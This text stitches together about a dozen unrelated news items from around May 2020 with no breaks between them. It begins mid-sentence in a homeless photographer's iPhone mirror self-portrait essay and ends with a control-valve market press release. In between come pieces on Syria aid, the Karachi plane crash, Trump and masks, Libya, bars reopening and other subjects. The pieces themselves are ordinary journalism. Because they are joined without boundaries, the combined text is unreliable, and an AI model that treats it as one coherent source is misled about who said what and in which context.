Sure enough, after a few days, he started itching and he mentioned that a friend of his had scored some really good meth and was willing to give him a deal. I told him I would give him $50 for the iPhone. He was grudging at first, but joyful thoughts of a future high overpowered all other considerations and he sold what he had professed so much love for, as I've seen many times before.

I kinda felt bad because he was right. His friend did have some really good dope. I know this because Slayer spent the next three to four days without sleep, walking in circles through the alleys, screaming arguments to himself. He definitely got his money's worth... and so did I.

Various flowers shot on an iPhone. (Bumdog Torres)

The iPhone 4s, although it also shot video, was the best dedicated still camera I'd ever had. And I now had the patience that comes from having plenty of time on your hands. I began taking photos of flowers and interesting things I would come across in alleys, alleys that I always stuck to.

Items in an alley in the Fairfax District. (Bumdog Torres)

Then one day, I found a couple of mirrors next to a trash can. Remembering Vivian Maier's famous self portraits, I took the opportunity to shoot my first self-portrait, as opposed to a selfie where you are staring straight into the camera. It was the first of many photos I called #findthebumdog.

A couple of self-portraits. (Bumdog Torres)

Most of the mirrors I shot in were thrown away and broken. The symbolism of using them to shoot self-portraits didn't escape me. It also gave me some discipline because the fragmented reflections took effort and concentration to get right.

The world, seen through mirrors. (Bumdog Torres)

#findthebumdog

All of the photos in this essay were shot on the iPhone 4s or iPhone 6s.

Triple portrait. (Bumdog Torres)

Left: "HUNGRY GOD BLESS U." Middle: "A Bumdog Collage Nail to a Tree." Right: "Bumdog in a Basket of Deplorables." (Bumdog Torres)

A colored installation of a mirror I came across on Santa Monica Blvd. All the panels are movable. I was there for a few minutes, maneuvering them around until I got the most out of it. When you look at the mirrors below, you can see pieces of my shopping cart. (Bumdog Torres)

Left: "Self Portrait in Car Driveway Mirror." Right: "Double Portrait in Scooter Mirrors." (Bumdog Torres)

"Find the Bumdog with a Sleeping Anastasia"  When I take mirror shots with people in them, they are usually women. Because almost all women, even when they are homeless, keep mirrors with them. (Bumdog Torres)

Left: "Woman in Front of Rite Aid" - Not only did I have to focus on the shot, I had to make sure she didn't wake up and start screaming at the sight of me hovering above her. Middle: "Self Portrait with Michelle." Right: "At the mouth of a Meth Tent." (Bumdog Torres)

Dorthea Jean in her camp, with pocket mirror in my hand. (Bumdog Torres)

Anuch, Scotty and another dude, taking a siesta in front of the old Fairfax Theater. (Bumdog Torres)

Left: Leia walked by me outside of Coffee Bean with a mirror in her pullcart. Middle: Kristen in her camp #findthebumdog. Right: Brooke and her boyfriend Steve, sitting in front of Coffee Bean. Brooke had her back to me because she was doing her makeup at the time. (Bumdog Torres)

On Beverly Blvd. there's a cafe called Insomnia. It used to be open 24 hours. Eventually, they only stayed open until 2 a.m. and by the time I started going there, it was only open until midnight. It has been here for about 30 years. In the bathroom, graffiti was actually encouraged, including on the mirror. I heard that Banksy himself had scrawled something into the mirror, which was possible because he had done a few works a few blocks away. I found out it had been sold and remodeled, when I was walking behind the alley and saw all the debris piled up. Including the mirror. I took some photos then decided to put it on my shopping cart and use it to take some more photos elsewhere. I figured I'd have it for a couple of days. Instead, I had it on my cart for another year. I called it the #insomniamirrorseries.

The mirror in its original natural habitat. (Bumdog Torres)

Left: The mirror where I found it, discarded with the rest of the trash. Middle: The corner of Wilshire and Detroit. Right: Wilshire and Fairfax in front of the 99 Cent Store. (Bumdog Torres)

It was best when I was able to find interesting pieces of street art to put next to it. Here's the mirror on the side of the Gemini Gallery. (Bumdog Torres)

Clockwise: "Find the Bumdog with Frank Sinatra," "Find the Bumdog surrounded by Happy Faces," "Find the Bumdog with the Dali Lama," "Find the Bumdog with the Cookie Monster." (Bumdog Torres)

"Bumdogs on Bumdog"  From a "Dog Hotel" on Highland just below Santa Monica Blvd. (Bumdog Torres)

"Panhandlers in the Fairfax District" - It can be difficult to shoot photos of homeless people as many are suspicious of being photographed, even if I know them. Panhandlers on the other are another story. $5 says it all. (Bumdog Torres)

"Panhandlers on Hollywood Blvd." - There was something wrong with my iPhone lens that day which is why all the photos are blurred. (Bumdog Torres)

Left: Soren (on the left) and Selah (on the right) wearing Bumdog t-shirts. Their father Mike is beside me in the photo. Right: Neighborhood twins Betty and Adair wearing Bumdog t-shirts. Not only do these two sets of twins live in the same neighborhood, they actually live two doors down from each other. (Bumdog Torres)

Three Swedish art students I met on Melrose. (Bumdog Torres)

People from all over the world would come to take their photo in front of these wings. I actually knew the artist, Colette Miller, back in downtown L.A. before she started making them. I had taken a few photos in front of them myself.

One day, while I was watching people take shots in front of it, I got the idea to photograph someone in front of the angel wings while holding the mirror. The first one was a German tourist. I decided to make a series of these shots, and went to the wings every time I had a chance.

German tourist in front of angel wings. (Bumdog Torres)

It wasn't easy. As I stood there next to my shopping cart, I looked like I was begging for change and people would avoid me. I would stand there for hours before anyone would agree to hold the mirror. A lot of times, after being there all day, I would lose the light without finding a willing subject. There was a certain time of day when the light would hit just right across a person's face.

People in front of angel wings. (Bumdog Torres)

"The Bumdog Signal" - Here's another shot on the same day I found the mirror. In fact, this was shot in the same alley on the same block. I put the mirror down to shoot something, looked up and saw my silhouette on the wall. (Bumdog Torres)

"Bumdog at the Witching Hour" - I took this shot around sunset aka "magic hour." (Bumdog Torres)

One day, I waited at the wings all day and couldn't get anyone to hold the mirror for me. As I was losing the light, I began to notice my shadow falling across the mural. I waited a little longer until it was in the right place and shot this. (Bumdog Torres)

If you like the photographs you see here, you can buy prints of them directly from Bumdog for $10 each. You can also buy DVDs of his two movies for $25 each as well as the custom made T-shirts you see in several of his photographs for $75 each. (All the money goes directly to him.) His Paypal, Venmo and CASH accounts are all under bumdog@gmail.com, where you can also contact him.

Photo Editor: Chava Sanchez
Continued Russian and Chinese obstruction at the UN Security Council imperils the millions who depend on humanitarian aid in Syria, said US Ambassador to the United Nations Kelly Craft.

Speaking at a virtual event hosted by the Hudson Institute Thursday, Craft lashed into Syrian President Bashar al-Assads backers on the Security Council ahead of a key vote on vital aid deliveries into Syria.

Russia and China are continuously holding the Council hostage on this, she said. Its strictly because of their geopolitical interests, and I have to shine a light on it.

In 2014, the Security Council set up four entry points for the UN and other agencies to deliver supplies to opposition areas without having to go through the Syrian government for permission. Then in January, faced with a veto threat from Russia and China, the UN Security Council voted to halve the number of official border crossings.

The decision left just two routes  Bab al-Hawa and Bab al-Salam  to bring supplies in from Turkey to the rebel-held northwest.

Crafts criticism came as the United Nations prepares for a July 10 vote to reauthorize those two remaining cross-border lifelines. The fear is, Assads patrons on the Security Council will wield their veto authority to choke off remaining aid to Idlib province by eliminating the UN-approved checkpoints.



Why it matters: Further cutting what little humanitarian assistance makes it to the region would be catastrophic for those who live there. A renewed government offensive in December uprooted close to one million people in Idlib, pushing them deeper into poverty and hunger. Many are now living in informal, overcrowded settlements along the Turkish border

Continued aid deliveries are also vital should the northwest enclave get hit with a COVID-19 outbreak. So far, Idlib appears to have been spared, but doctors on the ground have warned their bombed-out hospitals are in no way equipped to battle the virus if and when it reaches them.

Meanwhile, the US is also seeking to reopen the Iraq-Syria crossing known as Yaroubiya, which served as a vital supply route to northeast Syria before it was shuttered in January. Since its closure, the UN estimates medical supplies are reaching just 31% of facilities that previously depended on Yaroubiya.

Its reopening would take away some of Assads leverage in the Kurdish-controlled zone. Currently, going through Damascus is only the route to the northeast, and the regime has repeatedly succeeded in obstructing the supply line. Giving the Kurdish authorities another way to receive aid  Yaroubiya  would prevent them from having to cooperate with the Syrian government on future aid operations.

Whats next: Craft added that UN negotiators were discussing the possibility of holding a separate meeting and introducing a third resolution specific to Yaroubiya.

We are very, very hopeful that weve started early enough, said Craft. You have to keep the refugees in the back of your mind when youre doing this because there are days when you just think, I just dont know this is going to happen.

Know more: Senior Correspondent Amberin Zaman provides a look at lobbying efforts at the UN over the upcoming cross-border vote. Be sure to read Pentagon Correspondent Jared Szubas report on how the US military believes Russia and the regime are fomenting Arab discontent in eastern Syria to undermine the Kurdish-led administration.
Firefighters spray water on the wreckage of a Pakistan International Airlines aircraft after it crashed at a residential area in Karachi on May 22, 2020. A Pakistani passenger plane with nearly 100 people on board crashed into a residential area of the southern city of Karachi on May 22. Rizwan Tabassum | AFP | Getty Images

A total of 97 people have been killed following the Friday crash of a Pakistan International Airlines plane carrying 99, Reuters reported, citing provincial health authorities. The crash occurred near the Jinnah International Airport in Karachi, according to the country's civil aviation authority. The plane attempted to land twice before the crash occurred, according to Reuters. The plane operated by the state-owned airline, reportedly an Airbus A320, was traveling from Lahore and was due to land at the airport in Karachi.

Rescue workers gather at the site after a Pakistan International Airlines aircraft crashed in a residential area in Karachi on May 22, 2020. Rizwan Tabassum | AFP | Getty Images

The crash reportedly happened in a residential area of the city called Model Colony, a neighborhood around 2 miles northeast of Jinnah International Airport. A spokesman for the national carrier said the flight, PK 8303, had 99 passengers and 8 crew members, but other reports stated there were 99 people on board in total. Two people on board the plane survived the crash, Reuters reported on Saturday. Reports identified one of them as Zafar Masood, president of the Bank of Punjab. The commercial financial institution is based in Lahore.

Rescue workers move a body from the site after a Pakistan International Airlines aircraft after crashed at a residential area in Karachi on May 22, 2020. Asif Hassan | AFP | Getty Images
Newton and Fisher are serving as the official developers and course facilitators. However, theyve gathered a diverse team of LR faculty from Hickory, Asheville and Columbia, South Carolina, to assist in course instruction.

Faculty tend to be fairly specialized in their areas of expertise, Fisher said. We recognize that we dont have all the answers. Im not entirely sure what history can teach us about pandemics of the past, but I know that Dr. Veronica McComb will have amazing answers to that question. I can speak to the role of literature given that is my area of specialization.

The course begins with Kathryn Tinkelenberg, professor of nursing and director of the master of science in nursing program, offering an overview of the science of epidemiology and the responding role of health care.

Daniel Grimm, assistant professor of biology and former professional researcher in microbiology and biochemistry, then will take the class through an understanding of the COVID-19 virus.

The class then spends the rest of the term diving into the holistic impact of the pandemic.




The woman stabbed her own children to death

A woman from Philippines has been arrested for stabbing her three kids to death, then stabbed herself while trying to commit suicide.

The act is known as filicide.

The 28-year-old mother from Basud in Camarines Norte, Philippines, stabbed her children, ages 5, 1 year/8 months old, and 4 months old, to death at their home.

The mother also tried to commit suicide but survived it.

According to the Police, the mother admitted to the crime thinking she was infected with the deadly Covid-19.

Basud Police are suspecting the woman is suffering from Postpartum Depression.
Cassidy McClain, 24, of Ventnor City, N.J., rushes out toward the ocean at Ventnor City Beach on Saturday. Due to the coronavirus pandemic, McClain has been kept off the water for 45 straight days. Read more

VENTNOR, N.J. -- As Cassidy McClain zipped up her wetsuit and squeezed her feet into her booties, a familiar sense overcame her. She lifted her surfboard out of her Hyundai Sonata and looked toward the Ventnor pier, the cool sea breeze flowing through her short, sun-kissed hair.

She knew this place. This beach was her home, where she found her balance and won a few surfing competitions. But she hadnt visited in more than a month, since the coronavirus closed the citys beaches and barred all activities, including surfing. Last Saturday brought the first decent waves since Ventnor officials said surfing could resume, and the ocean was calling.

It was 7 a.m. as McClain padded down the wooden walkway. The morning sun shone through the clouds, sending orange, gray, and blue streaks across the sky, the Atlantic City Ferris wheel peeking through the hazy horizon. She sank into the sand as she walked toward the shoreline, each step pulling her closer to home. When that first incoming wave rushed across her feet, she stopped and smiled.

After 45 days without surfing  the longest this 24-year-old professional surfer had gone without the sport since she started at age 9  she was back.

The first plunge felt euphoric. As she gripped her surfboard and took her first duck dive beneath a wave, the ice-cold water was electrifying, sending goose bumps across her skin and recharging her almost instantly. Her face breached through the surface, and for the first time in weeks, she could breathe again.

Its a rush that goes through your whole body, said McClain. This is my deep breath.

The waves werent great, but McClain, a Ventnor native, didnt care. The breaks were short and barely rideable, so she had to be fast. One second she was up on her board, twisting in the air on top of the wave. The next, she was down in the water, jumping back on and paddling out on the hunt for the next ride.

It felt different, she said after emerging from her first 45-minute surf. I was a little rusty at first, but then it just felt so good.

McClain, who was named the New Jersey Female Surfer of the Year in 2018, surfs year-round  she said snowstorms give the best swells  and travels to places like Australia, Puerto Rico, and Barbados to compete and judge competitions. Shes usually in Ventnor for only a few months at a time. But the World Surf League canceled all competitions through June and she returned from Puerto Rico at the end of March, likely for a while.

 READ MORE: Youre a psycho: Surfers flock to Jersey Shore beaches in the dead of winter to ride the waves

When she found out the pier was closing, she was shocked.

It was definitely the right call because there are so many unknowns with the coronavirus, she said, But at the same time, youre taking away something that people use to help with their mental health.

McClains return to the water came after residents pushed Ventnor officials to lift the surf ban, an initiative led by Lou Solomon, a 68-year-old Absecon Island native and Ventnor surfer of 55 years.

Solomon reached out to city officials two weeks ago to make his case about surfing, stressing that other towns, like Margate and Atlantic City, have allowed it. Plus, he said, its a sport of constant movement and surfers are territorial, staying away from each other to catch their own waves, which makes social distancing natural.

The city lifted the ban May 13. There are still some restrictions  no waxing boards or changing into wetsuits on the beach  but, as Solomon put it, youve gotta start somewhere.

Solomon said he surfed at other towns a few times during the Ventnor shutdown, but it wasnt the same. McClain chose not to, worried about the increased number of surfers being pushed to those areas.

When you live in Ventnor you wanna surf in Ventnor, Solomon said.

Like the Beach Boys say: Catch a wave, and youre sitting on top of the world, he said. Its the highest high when you get a good wave. I feel like a kid again.

Managing the stress of the coronavirus without their outlet was tough. Virtual yoga classes at the Zen Den kept McClain centered.

Im not myself when Im not in the water, she said. I crave the ocean and I cant function without it.

Another Ventnor surfer, Joel Smiler, said no other mental release compares.

Theres more to it than just grabbing a board and surfing, said Smiler, 58, a Delaware County resident with a condo in Ventnor. It becomes mind over matter and body.

There is nothing else to think about other than that wave, he said.

As McClain emerged from the ocean and peeled back her wetsuit hood, a smile stretched across her face.

You have to experience to understand, she said. "I just really missed it.
At least a dozen times during the months of January and February, the intelligence community, through the Presidential Daily Brief, made clear to Trump that China was suppressing information about how lethal the coronavirus was and how it was being passed from person to person. It also raised the prospect of dire political and economic consequences for failure to act.

However, during the same time period, Trump on numerous occasions was praising China and Chinese President Xi on their handling of the coronavirus outbreak.

On Jan. 24, Trump tweeted: China has been working very hard to contain the Coronavirus. The United States greatly appreciates their efforts and transparency. It will all work out well. In particular, on behalf of the American People, I want to thank President Xi!

During his State of the Union address on Feb. 4, Trump said: We are coordinating with the Chinese government and working closely together on the coronavirus outbreak in China.

Trump tweeted on Feb. 7:President Xi of China. He is strong, sharp, and powerfully focused on leading the counterattack on the Coronavirus. Great discipline is taking place in China, as President Xi strongly leads what will be a very successful operation. We are working closely with China to help!

During an interview with Fox Newss Geraldo Rivera on Feb. 13, Trump said: I think theyve handled it professionally, and I think theyre extremely capable, and I think President Xi is extremely capable.

Speaking to reporters from India on Feb. 25, Trump said: [Xi] is working very hard. He is very capable. The country is very capable. And it snuck up on him, but I think hes going to do well.

Now that his handling of coronavirus pandemic in the U.S. is being criticized, Trump is saying that China, and not he, is responsible for the spread of pandemic in the U.S.

True, China was not being transparent and honest, however, Trump was told on more than a dozen occasions that China was suppressing the truth.

For whatever reason, he ignored what the intelligence community was telling him.

Therefore, Trump must accept responsibility for his failure to listen to what the intelligence community was telling him and for his failure to prepare the country to address the coronavirus.

(Richard A. Reichard is a West Brighton resident.)
(CNN)  US President Donald Trump brought a navy blue mask stamped with the presidential seal to a Ford plant in Michigan on Thursday. But he refused to wear it in front of cameras.

"I didn't want to give the press the pleasure of seeing it," Trump said before showing off his fabric face covering, which he said he'd briefly strapped on backstage before removing for a tour of the factory. "It was very nice. It looked very nice. They said not necessary."

It was another example of Trump shrugging off the rules in place for others that are meant to guard against the coronavirus. As he walked through the facility -- where Ford rules say everyone must wear a mask -- he was surrounded by company executives whose faces were covered.

"It's up to him," said Bill Ford, the company's chairman, when asked why Trump wasn't following his company's guidelines. Later, a company spokesman said Ford -- the great-grandson of company founder Henry Ford -- "encouraged President Trump to wear a mask when he arrived."

"He wore a mask during a private viewing of three Ford GTs from over the years," the company said. "The President later removed the mask for the remainder of the visit."

The President's visit to Michigan might have been a simple opportunity to highlight the cautious reemergence of American manufacturers.

Instead it became a testing ground for the fraught politics of pandemic: whether leaders should wear masks, whether citizens can vote by mail, whether factories are safe to reopen and whether Democrats and Republicans can forge any semblance of unity amid a generation-defining crisis.

Trump has planted himself at the center of each of those issues as he encourages states to lift restrictions that have closed businesses, forced residents to remain at home and frozen a national economy that once anchored his reelection argument.

"A never ending lockdown would result in a public health calamity," Trump said in remarks on the factory floor. "To protect the health of our people, we must have a functioning economy."

"Americans who need and want to return to work should not be vilified," he added. "They should be supported."

Thursday's visit to a Ford components plant in Ypsilanti was intended to highlight a facility that was repurposed to build ventilators after concerns were raised about a nationwide shortage. He also met with national and local African American leaders, a community that's been disproportionately affected by the pandemic.

But even before arriving Trump guaranteed the visit was about a lot more. He tweeted a day ahead of the stop that the state's attorney general was breaking the law by sending absentee voting applications to every person in the state, an extension of his efforts to cast doubt on an election feature that is poised to play a major role in pandemic-era democracy.

He openly sparred with Michigan's Democratic Gov. Gretchen Whitmer, who has criticized the federal government's response to the crisis and who, in turn, has been termed "the woman in Michigan" and "Half-Whitmer" by the President.

And he refused to wear a mask in public, despite recommendations from the federal government that Americans cover their faces when social distancing is difficult. The Ford plant he visited on Thursday requires them for all visitors, "at all times, in all locations," according to the company's reopening handbook that was shared with the White House.

While Trump said he did wear one when he arrived, he had removed it by the time he was in front of cameras.

"I look better in the mask, but I'm making a speech," the President said, holding up a custom dark blue face covering with what appeared to be the presidential seal stamped in white.

Before the visit, a Ford spokesman said the White House would "make its own determination" on whether Trump would wear a mask. He's resisted wearing one in public, believing it might send the wrong message to a country he is working to convince to return to normal.

On Thursday, he dismissed the notion he might set an example to Americans, who have been encouraged by the federal government to wear face coverings in public.

"I think it sets an example. I think it sets an example both ways," he said.

On two previous trips over the past weeks, Trump hasn't worn a mask even as nearly every other person at the facilities he visited did.

The risk of contagion appears particularly acute at manufacturing facilities. Just days after reopening, two separate Ford factories were forced to shut again this week because employees tested positive for Covid-19. Neither was the plant Trump visited on Thursday. But it was an illustration -- and perhaps a harbinger -- of the halting process of reviving a sector Trump has long heralded as the jewel in his economic crown.

While Trump said Thursday he would extinguish any "embers" of the virus should it emerge later this year, he proclaimed he would not close the country again.

"People say that's a very distinct possibility. It's standard. And we're going to put out the fires. We're not going to close the country. We're going to put out the fires," he said.

Ahead of his visit to Michigan, the state's attorney general Dana Nessel sent Trump an open letter imploring him to wear a face covering during his visit, saying he had both a "legal" and "moral" responsibility to do so.

"Anyone who has potentially been recently exposed, including the President of the United States, has not only a legal responsibility, but also a social and moral responsibility, to take reasonable precautions to prevent further spread of the virus," Nessel wrote.

Two White House staffers recently tested positive for coronavirus, but Trump has not been found to have it. He, along with any person who comes into close proximity with him, is tested using an Abbott Labs rapid diagnostic product, though the US Food and Drug Administration has cautioned those tests may produce high rates of false negatives.

Appearing on CNN on Thursday morning after sending her letter, Nessel expressed doubt that Trump would adhere to the factory's rules.

"If we've learned nothing over the last several years of President Trump in the White House, it's that he doesn't have the same level of legal accountability as everybody else," Nessel said.

Nessel, a Democrat, is one of three female Michigan politicians who have found themselves in Trump's sights over the past week. Secretary of State Jocelyn Benson was forced to correct the President on Wednesday after he issued a morning tirade about her effort to distribute absentee ballot applications to all 7.7 million registered voters in the state.

Trump originally proclaimed the state was sending "absentee ballots to 7.7 million people ahead of Primaries and the General Election," declaring the action was "done illegally and without authorization by a rogue Secretary of State" and threatening to withhold unspecified levels of funding.

Later, he corrected the tweet to say "absentee ballot applications."

But he repeated a falsehood that it was illegal, and failed to mention that Republicans in other states have taken similar or even identical steps during the coronavirus pandemic.

"Obviously, there's going to be fraud," Trump said while at the Ford plant. "We're not babies."

Trump's selection of Michigan for the visit carries obvious political meaning; he won the state by the narrowest of margins in 2016 and needs a repeat in November. As he resumes official travel after months-long isolation at the White House, Trump is focusing on states that factor heavily into his reelection plan, including Arizona and Pennsylvania.

He's also seemed to target states where Democratic governors face resistance from Republicans on their pace of reopening. During a stop in Allentown, Pennsylvania, last week, Trump chastised Democratic Gov. Tom Wolf for not opening quickly enough, saying residents were ready to get back to work.

Trump has issued similar criticism of Whitmer, whose extension of a state emergency order drew armed protests at the state capitol in Lansing. Trump encouraged her to negotiate with those who were angrily insisting that stay-at-home orders be lifted.

Whitmer, who is thought to be under consideration as a potential Democratic vice presidential candidate, rebuffed Trump's idea. The two did speak on Wednesday after dam failures caused historic flooding.

But she wasn't invited to participate in Trump's tour of the Ford facility on Thursday.

"I don't think there was a particular reason," the President's spokesman Kayleigh McEnany said on Wednesday when asked why Whitmer wasn't asked to participate. "It didn't come up."
The Motorola Edge+ is still a very new device on Verizon's shelves, having been released around one week ago. And yet, the carrier is already offering a sweet deal on the phone.

Normally priced at $999.99, the Edge+ can now be yours for just $799.92. Note that this may be a limited time offer, but Verizon isn't saying. Even so, it's a bit weird to see a 20% price cut within a week of launch, so this might imply that the carrier hasn't been moving a lot of units at the recommended price.

In our in-depth review of the Edge+, we noted that its price in the US and lack of a lot of competing brands that one can find in Europe and India means that the Edge+ is actually a decent flagship contender, expensive as it may be. Well, now it's just become more affordable, and plays in an entirely different league at this new price.

The only caveat, which you may have seen coming, is that you need to use Verizon's device installment plan to buy the Edge+ if you want the reduced price. Effectively this means you'll pay $0 down and then 24 monthly installments of $33.33. You can have the phone in Smoky Sangria or Thunder Grey.

If you switch to Verizon on an Unlimited plan, you'll also get a $150 gift card. And if you trade-in an eligible device, there's an additional up to $550 price reduction waiting for you.

Source | Via
Montgomery County bars and nightclubs are preparing to reopen this weekend.as part of the second phase of reopening which begins Friday.

Since March 18, the Corner Pub & Deli at 302 N Main Street in Downtown Conroe has only been open during lunch hours from 11 a.m. to 3 p.m. due to the novel coronavirus pandemic. Starting on Friday, General Manager LeeAnne Pool said the pub is excited to reopen and return to its full, regular hours from 11 a.m. to 2 a.m.

While state-at-home orders have dropped and restrictions have loosened, the chill gathering place will not reopen at full capacity and patrons may notices some changes.

As part of the second phase of reopening, the state of Texas is allowing bars, nightclubs, craft breweries and wine tasting rooms to reopen on May 22 at 25 percent capacity, which for the Corner Pub is about 31 people.

The Minimum Standard Health Protocols, which was revised May 19 and is posted on the state governors website, includes a check list for bars or similar establishments choosing to operate in Texas as well as patrons.

Pool plans to follow guidelines, such as by replacing glassware with plastic cups and removing some tables. Pool said the pub also did some cleaning up, repairs, and painting while customers were away to give the pub a fresh look.

It looks really nice and new and clean and fresh, Pool said. But we were just waiting for the time, waiting for them to give us the OK. I think were ready, Im ready, our staff is ready, and I think the people, the customers, are ready.

The pub has also felt the impact from the pandemic since it was not able to have any business during the two-month closure, but she remains optimistic.

Thats big, Pool said. So, we are just starting out slow and we will gradually work up to where we use to be, thats where Im hoping to be. When we had bands, now were doing solo acts. We still have live music, but we are starting off slower, smaller, and trying to work up where we were before.

Its going to happen though, Im not worried, she added.

Cozy Grape Wine Bar & Bistro

Managing Member Tom Cronin, who also serves on the Montgomery City Council, said over 51 percent Cozy Grape Wine Bar & Bistros revenue is from food. Like several establishments in Montgomery County, the business was able to continue serving clientele with delivery and to go services.

Our servers immediately became delivery drivers, Cronin stated in an email to The Courier.

Due to the significant drop in revenue, Cronin said the business closed for lunch to go and evening hours went from 5 p.m. until 8:30 p.m.

When we resumed dining in, at 25 (percent) capacity, we resumed our lunch service and extended our hours, he stated. We decided to re-open at 25 (percent) capacity, because we have employees that have obligations. Fortunately, we did not lay off any employees during the epidemic.

Regarding reopening inside, he said the business has invested in an Ultraviolet Germicidal Irradiation system to give customers an added sense of safety.

The system uses ultraviolet light to kill or inactivate microorganisms by producing strong enough UVC light in circulating air systems to make them inhospitable environments to microorganisms such as bacteria, viruses, molds, and other pathogens, he stated.

Johnny B Dalton's

Starting on Friday, Johnny B Dalton's at 2017 North Frazier Street in Conroe will also reopen at 25 percent capacity and resume normal hours from 7 p.m. to 2 a.m. Teen nights will also continue starting at 5 p.m. on Saturday and 7 p.m. on Thursday night for ages 13-19.

Owner Michael Stewart said the 38-year old dance club is not a bar and grill, so it did not have orders to go. Its last day to be open was on March 18. While he cant say the full impact, the business has been hit hard by the pandemics blow with payments go out and no business coming in.

We paid rent, utilities, paid insurance and we were forced to close, he said before later adding that he has employees with bills and rent who make most of their money on tips.

To prepare for reopening, the business plans to have cleansing stations available to make customers feel more comfortable. While tables seat five people, he noted parties of eight may have to be seated at separate tables.

The health protocols provided by the states discourages activities that enable close human contact, including but not limited to dancing. Stewart emphasized that he plans to follow the law while trying to make a living and keep his license.

It says they want you to abstain from dancing, Stewart said. But if you are husband and wife or you are friends, I dont understand it. Im going to do whatever the law says, but that is not a law. Its a suggestion that you refrain from dancing.

mellsworth@hcnonline.com
As Libya's United Nations-backed government reclaimed parts of the capital today, Secretary of State Mike Pompeo discussed an end to the fighting with the embattled prime minister.

During his phone call with Fayez al-Sarraj, Pompeo reiterated US opposition to the continued level of weapons and munitions being brought into the country, State Department spokeswoman Morgan Ortagus said in a statement.

A ceasefire leading to a political resolution is the only option for the Libyan people, Pompeo added on Twitter.

Why it matters: Sarrajs internationally recognized Government of National Accord has been fighting forces led by renegade commander Khalifa Hifter since 2016. Pompeos call comes as diplomats warn military equipment is being supplied to both sides in violation of the United Nations arms embargo.

Both the Tripoli-based Government of National Accord, which is supported militarily by Turkey, and Hifters self-styled Libyan National Army, which is backed by Russia, the United Arab Emirates and Egypt, are accused of benefiting from foreign mercenaries.

A recently leaked UN report found as many as 1,200 operatives from the shadowy Russian private military company Wagner group are in Libya to prop up Hifter.

Whats next: Sarrajs Government of National Accord gained the upper hand this week, capturing a string of towns near Tripoli and a key air base west of the city. With Hifters fighters pulling back, a government spokesperson told Turkeys state-run news agency that Government of National Accord forces will focus their efforts on retaking Mizdah, some 111 miles south of the capital.

Know more: Amberin Zaman covers the escalating threats between Turkey and Khalifa, and Fehim Tastekin examines Ankaras role in the still-volatile situation in southern Tripoli.
LOS ANGELES, May 22, 2020 /PRNewswire/ -- Acumen Research and Consulting, Recently Published Report on "Control Valves Market Size, Share, Growth, Trends, Revenue and Forecast 2020 - 2027".

The control valves are known to be one of the most robust components to different industries of production and manufacturing. Characteristics such as effective flow rate management and consequential process quantities like temperature, pressure and fluid volume make them necessary to smoothly hold industrial processes. Across industries like oil and gas, power generation, food and drinks, industrial and automotive products, and other applications, control valves are commonly used. Across the process industry, control valves play a key role to increase process stability, productivity and competitiveness, and this is an awareness of the value of control valve. In order to fulfill the increasing demands of various markets, research and development initiatives by the manufacturers of control valves have become more relevant.

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Asia-Pacific to Have Significant Market Growth

Asia Pacific accounts for a significant market share of control valves due to increased urbanization and also increasing middle-class population which has fuelled the adoption of electricity, oil & gas, and chemical industries. For instance, China, Japan and India are the developing countries in the region. Moreover, the market for oil and gas is projected to rise rapidly with the growth of transportation in these countries. The need to provide the increasing population with drinking water also contributes to the development of desalination plants which further demands for control valves, treatment of waste and wastewater is also a wide segment projected to increase demand for the future.

Market dynamics

The major factor driving the demand for control valves are growing need for energy and power, and increasing number of power generation plants across the world. These valves are particularly used in systems like chemical storage, feeding water, cooling water and steam turbine control systems in nuclear power plants. In addition, the need for control valves has also increased under the high pressures, high temperatures and adverse corrosion of manufacturing platforms and refining platforms. These platforms are used mainly for oil and gas production offshore and onshore. These valves are used in most significant oil and gas systems. It can also control flow, and regulated by fluid quantity, direction, speed and pressure.

View Detail Information with Complete [email protected] https://www.acumenresearchandconsulting.com/control-valves-market

Oil & Gas to account the largest share of the control valve market during the forecast period

The oil & gas industry is one of the most active industries in multiple processes for the adoption of control valves. Across the industrial revolution, demand for oil and gas expanded tremendously to support the expansion of western economies. In addition to lower production costs, the oil & gas companies require deeper wells and wider pipelines and require the use of advanced machinery in gas and chemical plants. As transportation, technologies, production and processing equipment has advanced performance standards for efficiency which are constantly being demanded in order to improve operations. Control valves must be mounted in manufacturing plants to satisfy these requirements, thereby pushing the development of the control valve industry.

The global control valves market includes prominent players such as AVK Holding A/S, Emerson Electric Co., Christian Burkert GmbH & Co. KG, General Electric Company, Goodwin International Limited, KITZ Corporation, Rotork Plc, Velan Inc., Swagelok Company, Armstrong International Inc., Metso Corporation, IMI plc, Samson AG and others.

Recent Developments

In February 2019 , Emerson announced it had completed the acquisition of General Electric's Intelligent Systems. The implementation of programmable Intelligent Platforms (PLC) technologies will allow the company Emerson to extend its system control and discerning systems capabilities, a global automation leader for process and industrial customers.

, Emerson announced it had completed the acquisition of General Electric's Intelligent Systems. The implementation of programmable Intelligent Platforms (PLC) technologies will allow the company Emerson to extend its system control and discerning systems capabilities, a global automation leader for process and industrial customers. In December 2018 , Advanced Technology Valves (AE Valved), an advanced valve technology leading supplier that allows LNG customers to function easier, has been acquired by Emerson.

, Advanced Technology Valves (AE Valved), an advanced valve technology leading supplier that allows LNG customers to function easier, has been acquired by Emerson. In June 2019 , Metso to adopt modern Valve World Americas flow management techniques

Target Audience

Distributors and Retailers

Manufacturers Control Valve Market

Technology Standards Organizations, Forums, Alliances and Associations

Research and Consulting organization

Accessories manufacturer

Market Segmentation

Control Valves Market By Type

Pneumatic control valve

Hydraulic control valve

Electrical control valve

Control Valves Market By Component

Valve body

Actuators

Others

Control Valves Market By Product

Linear

Rotary

Control Valves Market By Material

Stainless Steel

Cast Iron

Alloy Based

Cryogenic

Others

Control Valves Market By Application

Electrical Power, Oil and Gas

Water &Waste-water Management

Automotive, Pharmaceuticals

Mining, Chemicals

Food & Beverage

Others (manufacturing, electronics, marine, pulp & paper, and textiles)

Control Valves Market By Geography

North America

U.S.

Canada

Europe

UK

Germany

France

Spain

Rest of Europe

Asia-Pacific

China

Japan

India

Australia

South Korea

Rest of Asia-Pacific

Latin America

Brazil

Mexico

Rest of Latin America

Middle East & Africa

GCC

South Africa

Rest of Middle East & Africa

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About Us

Acumen Research and Consulting (ARC) is a global provider of market intelligence and consulting services to information technology, investment, telecommunication, manufacturing, and consumer technology markets. ARC helps investment communities, IT professionals, and business executives to make fact based decisions on technology purchases and develop firm growth strategies to sustain market competition. Among the industries served include aerospace and defense, information and communication technology (ICT), semiconductor and electronics, healthcare and pharmaceuticals, chemicals, advanced materials, banking, finance services and insurance (BFSI), and others.

